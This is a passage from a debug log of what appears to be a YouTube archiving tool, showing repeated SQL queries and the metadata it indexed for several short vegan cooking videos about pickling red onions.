https://youtu.be/kmBLjqO1DM8\n\nSubscribe so you don't miss any of the episodes! Thanks for your support! Janelle", "Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts", 1, 13, false, "mPPVrxHgIig", "https://www.youtube.com/shorts/mPPVrxHgIig", "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts/Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts [mPPVrxHgIig].NA", true, ~U[2022-07-07 17:13:35Z]] 20:28:34.788 [debug] QUERY OK source="sources" db=0.4ms idle=443.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:34.788 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:34.789 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [716] 20:28:34.789 [debug] Current batch of media processed. Will check again in 1000ms 20:28:35.790 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "So in case you were wondering 💭… I LOVE pickled onions! 🧅🧅🧅 I got quite a few of them in my latest mystery produce box from @pekoproduce and am so happy to share how to pickle them! This is a great way to preserve your produce if you have an abundance and don’t want them to go to waste (#lowwaste) Plus, pickled onions are flippin DELICIOUS! This is going to be your new fave summer essential 🤤\n\nSave this recipe below ⬇️ and head to steamyvegankitchen.com/pickled-red-onions/ for the full breakdown and recipe video!\n\nINGREDIENTS\n 1 large red onion (or 2 medium)\n1¼ cup water\n1¼ cup distilled white vinegar or apple cider vinegar\n1½ tsp sea salt or kosher salt\n2 tsp cane sugar\n1 to 2 tbsp whole pickling spice blend (optional)\n\n1. In a small saucepan, combine the water, vinegar, salt and sugar and mix. Place on the stove and bring to a boil, ensuring the salt and sugar dissolves completely.\n2. While the brine comes to a boil, thinly slice your red onion and stuff it into the glass jar.\n3. Pour the boiling hot brine over the onions in the jar and let sit until cool. Seal with the lid, place in the fridge for at least 4 hours and enjoy!\n\nIf you’re in the Metro Vancouver 🇨🇦 area and are looking to save money on groceries AND help keep imperfectly-perfect produce out of our landfills, check out @pekoproduce and order yourself a mystery box of produce! I have a $5 off coupon for you in my BIO! 🙌🏻\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood \n\nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD", "duration" => 47, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickling red onions is as easy as 1-2-3! 🧅/Pickling red onions is as easy as 1-2-3! 🧅 [KIfKgHYYIMI].NA", "id" => "KIfKgHYYIMI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/KIfKgHYYIMI", "playlist_index" => 328, "timestamp" => 1657151459, "title" => "Pickling red onions is as easy as 1-2-3! 🧅", "upload_date" => "20220706"} 20:28:35.792 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:35.793 [debug] QUERY OK source="sources" db=1.1ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:35.796 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 23:50:59Z], 1] 20:28:35.798 [debug] QUERY OK source="media_items" db=1.5ms idle=1007.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So in case you were wondering 💭… I LOVE pickled onions! 🧅🧅🧅 I got quite a few of them in my latest mystery produce box from @pekoproduce and am so happy to share how to pickle them! This is a great way to preserve your produce if you have an abundance and don’t want them to go to waste (#lowwaste) Plus, pickled onions are flippin DELICIOUS! This is going to be your new fave summer essential 🤤\n\nSave this recipe below ⬇️ and head to steamyvegankitchen.com/pickled-red-onions/ for the full breakdown and recipe video!\n\nINGREDIENTS\n 1 large red onion (or 2 medium)\n1¼ cup water\n1¼ cup distilled white vinegar or apple cider vinegar\n1½ tsp sea salt or kosher salt\n2 tsp cane sugar\n1 to 2 tbsp whole pickling spice blend (optional)\n\n1. In a small saucepan, combine the water, vinegar, salt and sugar and mix. Place on the stove and bring to a boil, ensuring the salt and sugar dissolves completely.\n2. While the brine comes to a boil, thinly slice your red onion and stuff it into the glass jar.\n3. Pour the boiling hot brine over the onions in the jar and let sit until cool. Seal with the lid, place in the fridge for at least 4 hours and enjoy!\n\nIf you’re in the Metro Vancouver 🇨🇦 area and are looking to save money on groceries AND help keep imperfectly-perfect produce out of our landfills, check out @pekoproduce and order yourself a mystery box of produce! I have a $5 off coupon for you in my BIO! 🙌🏻\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood \n\nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD", "Pickling red onions is as easy as 1-2-3! 🧅", "e216e268-fae7-41fc-abb7-16876bbdb8af", 1, [], 47, false, "KIfKgHYYIMI", "https://www.youtube.com/shorts/KIfKgHYYIMI", 328, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickling red onions is as easy as 1-2-3! 🧅/Pickling red onions is as easy as 1-2-3! 🧅 [KIfKgHYYIMI].NA", false, false, true, 1, ~U[2022-07-06 23:50:59Z], ~U[2026-03-22 03:28:35Z], ~U[2026-03-22 03:28:35Z], "So in case you were wondering 💭… I LOVE pickled onions! 🧅🧅🧅 I got quite a few of them in my latest mystery produce box from @pekoproduce and am so happy to share how to pickle them! This is a great way to preserve your produce if you have an abundance and don’t want them to go to waste (#lowwaste) Plus, pickled onions are flippin DELICIOUS! This is going to be your new fave summer essential 🤤\n\nSave this recipe below ⬇️ and head to steamyvegankitchen.com/pickled-red-onions/ for the full breakdown and recipe video!\n\nINGREDIENTS\n 1 large red onion (or 2 medium)\n1¼ cup water\n1¼ cup distilled white vinegar or apple cider vinegar\n1½ tsp sea salt or kosher salt\n2 tsp cane sugar\n1 to 2 tbsp whole pickling spice blend (optional)\n\n1. In a small saucepan, combine the water, vinegar, salt and sugar and mix. Place on the stove and bring to a boil, ensuring the salt and sugar dissolves completely.\n2. While the brine comes to a boil, thinly slice your red onion and stuff it into the glass jar.\n3. Pour the boiling hot brine over the onions in the jar and let sit until cool. Seal with the lid, place in the fridge for at least 4 hours and enjoy!\n\nIf you’re in the Metro Vancouver 🇨🇦 area and are looking to save money on groceries AND help keep imperfectly-perfect produce out of our landfills, check out @pekoproduce and order yourself a mystery box of produce! I have a $5 off coupon for you in my BIO! 🙌🏻\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood \n\nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD", "Pickling red onions is as easy as 1-2-3! 🧅", 1, 47, false, "KIfKgHYYIMI", "https://www.youtube.com/shorts/KIfKgHYYIMI", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickling red onions is as easy as 1-2-3! 🧅/Pickling red onions is as easy as 1-2-3! 🧅 [KIfKgHYYIMI].NA", true, ~U[2022-07-06 23:50:59Z]] 20:28:35.799 [debug] QUERY OK source="sources" db=0.4ms idle=452.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:35.800 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:35.801 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [717] 20:28:35.801 [debug] Current batch of media processed. Will check again in 1000ms 20:28:36.802 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This week I'll be posting several videos all about quick pickling. If you want to find out more about pickling or how Rick Sanchez from Rick and Morty turned himself into a pickle then you'll want to subscribe to find out more!\n\nFirst Pickling VIdeo of the Week Here: https://youtu.be/kmBLjqO1DM8", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts/Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts [DMhngAFTVNU].NA", "id" => "DMhngAFTVNU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/DMhngAFTVNU", "playlist_index" => 329, "timestamp" => 1657133980, "title" => "Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts", "upload_date" => "20220706"} 20:28:36.803 [debug] QUERY OK source="sources" db=0.8ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:36.804 [debug] QUERY OK source="sources" db=0.3ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:36.806 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 18:59:40Z], 1] 20:28:36.807 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This week I'll be posting several videos all about quick pickling. If you want to find out more about pickling or how Rick Sanchez from Rick and Morty turned himself into a pickle then you'll want to subscribe to find out more!\n\nFirst Pickling VIdeo of the Week Here: https://youtu.be/kmBLjqO1DM8", "Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts", "63f9174c-3671-4e99-802c-5c1060eb1137", 1, [], 14, false, "DMhngAFTVNU", "https://www.youtube.com/shorts/DMhngAFTVNU", 329, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts/Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts [DMhngAFTVNU].NA", false, false, true, 2, ~U[2022-07-06 18:59:40Z], ~U[2026-03-22 03:28:36Z], ~U[2026-03-22 03:28:36Z], "This week I'll be posting several videos all about quick pickling. If you want to find out more about pickling or how Rick Sanchez from Rick and Morty turned himself into a pickle then you'll want to subscribe to find out more!\n\nFirst Pickling VIdeo of the Week Here: https://youtu.be/kmBLjqO1DM8", "Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts", 1, 14, false, "DMhngAFTVNU", "https://www.youtube.com/shorts/DMhngAFTVNU", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts/Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts [DMhngAFTVNU].NA", true, ~U[2022-07-06 18:59:40Z]] 20:28:36.808 [debug] QUERY OK source="sources" db=0.3ms idle=459.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:36.808 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:36.809 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [718] 20:28:36.810 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Pickled red onions are a summer ESSENTIAL in my house! Great for preserving and also saving money! I love using them as a topping for practically anything... burgers, nachos, tacos, pirogies, salads... you name it. Plus they're heckin' DELISH.\n\nGET THE FULL RECIPE: https://youtu.be/kmBLjqO1DM8", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickled red onions are a summer ESSENTIAL/Pickled red onions are a summer ESSENTIAL [4NxCiNNs9SQ].NA", "id" => "4NxCiNNs9SQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/4NxCiNNs9SQ", "playlist_index" => 330, "timestamp" => 1657130534, "title" => "Pickled red onions are a summer ESSENTIAL", "upload_date" => "20220706"} 20:28:36.811 [debug] QUERY OK source="sources" db=0.7ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:36.811 [debug] QUERY OK source="sources" db=0.4ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:36.813 [debug] QUERY OK source="media_items" db=1.9ms idle=3.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 18:02:14Z], 1] 20:28:36.815 [debug] QUERY OK source="media_items" db=0.7ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pickled red onions are a summer ESSENTIAL in my house! Great for preserving and also saving money! I love using them as a topping for practically anything... burgers, nachos, tacos, pirogies, salads... you name it. Plus they're heckin' DELISH.\n\nGET THE FULL RECIPE: https://youtu.be/kmBLjqO1DM8", "Pickled red onions are a summer ESSENTIAL", "ede6f664-a7d0-4c9c-a472-d9d30a536a99", 1, [], 15, false, "4NxCiNNs9SQ", "https://www.youtube.com/shorts/4NxCiNNs9SQ", 330, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickled red onions are a summer ESSENTIAL/Pickled red onions are a summer ESSENTIAL [4NxCiNNs9SQ].NA", false, false, true, 3, ~U[2022-07-06 18:02:14Z], ~U[2026-03-22 03:28:36Z], ~U[2026-03-22 03:28:36Z], "Pickled red onions are a summer ESSENTIAL in my house! Great for preserving and also saving money! I love using them as a topping for practically anything... burgers, nachos, tacos, pirogies, salads... you name it. Plus they're heckin' DELISH.\n\nGET THE FULL RECIPE: https://youtu.be/kmBLjqO1DM8", "Pickled red onions are a summer ESSENTIAL", 1, 15, false, "4NxCiNNs9SQ", "https://www.youtube.com/shorts/4NxCiNNs9SQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickled red onions are a summer ESSENTIAL/Pickled red onions are a summer ESSENTIAL [4NxCiNNs9SQ].NA", true, ~U[2022-07-06 18:02:14Z]] 20:28:36.815 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:36.816 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:36.816 [debug] QUERY OK source="media_items" db=0.4ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [719] 20:28:36.817 [debug] Current batch of media processed. Will check again in 1000ms 20:28:37.819 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Rick Sanchez from Rick and Morty is officially the first person to ever become a pickle. Well today on our channel our first of 3 pickling videos goes live where we talk all about how to quick-pickle anything... maybe, even yourself!\n\nSubscribe so you don't miss a single quick-pickling video!", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-06 The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts/The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts [EasOgCnB98Y].NA", "id" => "EasOgCnB98Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/EasOgCnB98Y", "playlist_index" => 331, "timestamp" => 1657124701, "title" => "The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts", "upload_date" => "20220706"} 20:28:37.819 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 